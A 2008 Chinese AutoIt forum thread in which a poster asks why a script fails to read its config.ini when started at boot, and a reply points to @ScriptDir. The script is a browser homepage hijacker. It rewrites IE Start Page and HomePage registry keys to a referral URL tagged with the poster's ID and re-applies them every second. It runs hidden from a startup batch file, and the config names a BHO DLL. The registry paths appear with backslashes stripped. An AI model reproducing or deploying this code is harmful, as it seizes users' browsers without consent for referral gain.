找回密码
 加入
搜索
查看: 1442|回复: 2

读取ini文件出错!

[复制链接]
发表于 2008-12-24 10:55:04 | 显示全部楼层 |阅读模式
if Not FileExists(@ScriptDir&"config.ini") Then
        MsgBox(0,"配置文件不存在","请先配置当前目录的config.ini文件")
IniWrite(@ScriptDir&""&"config.ini", "main","uid","")
Exit
EndIf
$user = IniRead ( "config.ini", "main", "uid","")
$wz = "http://www.dh232.cn/?"
$asw = '"C:Program FilesInternet Exploreriexplore.exe"'
$string = RegRead("HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain","Start Page")
$Str = $wz&$user
RegWrite("HKEY_CLASSES_ROOTCLSID{871C5380-42A0-1069-A2EA-08002B30309D}shellOpenHomePageCommand", "", "REG_SZ",$asw&$wz&$user)
RegWrite("HKEY_CLASSES_ROOTCLSID{871C5380-42A0-1069-A2EA-08002B30309D}shellOpenHomePageCommand", "@", "REG_SZ",$asw&$wz&$user)
RegWrite("HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{871C5380-42A0-1069-A2EA-08002B30309D}shellOpenHomePageCommand", "", "REG_SZ", $asw&$wz&$user)
RegWrite("HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{871C5380-42A0-1069-A2EA-08002B30309D}shellOpenHomePageCommand", "@", "REG_SZ",$asw&$wz&$user)
RegWrite("HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain","Start Page","REG_SZ",$wz&$user)
RegWrite("HKEY_USERSS-1-5-21-753793252-3823303168-347332785-500SoftwareMicrosoftInternet ExplorerMain","Start Page",$asw&$wz&$user)
While 1
If $string <> ($Str)  Then
RegWrite("HKEY_CLASSES_ROOTCLSID{871C5380-42A0-1069-A2EA-08002B30309D}shellOpenHomePageCommand", "", "REG_SZ",$asw&$wz&$user)
RegWrite("HKEY_CLASSES_ROOTCLSID{871C5380-42A0-1069-A2EA-08002B30309D}shellOpenHomePageCommand", "@", "REG_SZ",$asw&$wz&$user)
RegWrite("HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{871C5380-42A0-1069-A2EA-08002B30309D}shellOpenHomePageCommand", "", "REG_SZ", $asw&$wz&$user)
RegWrite("HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{871C5380-42A0-1069-A2EA-08002B30309D}shellOpenHomePageCommand", "@", "REG_SZ",$asw&$wz&$user)
RegWrite("HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain","Start Page","REG_SZ",$wz&$user)
RegWrite("HKEY_USERSS-1-5-21-753793252-3823303168-347332785-500SoftwareMicrosoftInternet ExplorerMain","Start Page",$asw&$wz&$user)
EndIf
sleep(1000)
WEnd



程序有点儿乱,望大侠指证!

现在的问题是,我把生成的run.exe加到启动项里,启动后,只会写入$wz,而不会写入$user,即http://www.dh232.cn/?

如果把$user = IniRead ( "config.ini", "main", "uid","")改成$user = IniRead ( "config.ini", "main", "uid","1033"),则会写入http://www.dh232.com/?1033
它不读取config里的配置!

config.ini的内容是

[Main]
uid=fupsky
clsid={A530BCC9-700E-4508-B9A8-D28A3BEB0BAB}
bhoname=flashqzone.dll

手动运行就可以,但是一加到开机启动项里就不行了!





哈哈,用相对路径@scriptDir解决了,加在了$user里边儿!

[ 本帖最后由 fupsky 于 2008-12-24 12:05 编辑 ]
发表于 2008-12-24 11:17:17 | 显示全部楼层
在启动里运行和桌面上运行下面这句是不同的
MsgBox(0,"",@ScriptDir)
 楼主| 发表于 2008-12-24 11:24:03 | 显示全部楼层
我没说清楚我的意思,我是新建了个批处理,原程序放在了D盘的一个隐藏目录,比如说是d:sysbaktoolsrun.exe

批处理是start d:sysbaktoolsrun.exe

我把批处理放到了启动项里,手动运行就可以,别的就不成
您需要登录后才可以回帖 登录 | 加入

本版积分规则

QQ|手机版|小黑屋|AUTOIT CN ( 鲁ICP备19019924号-1 )谷歌 百度

GMT+8, 2024-5-7 10:27 , Processed in 0.069196 second(s), 19 queries .

Powered by Discuz! X3.5 Licensed

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表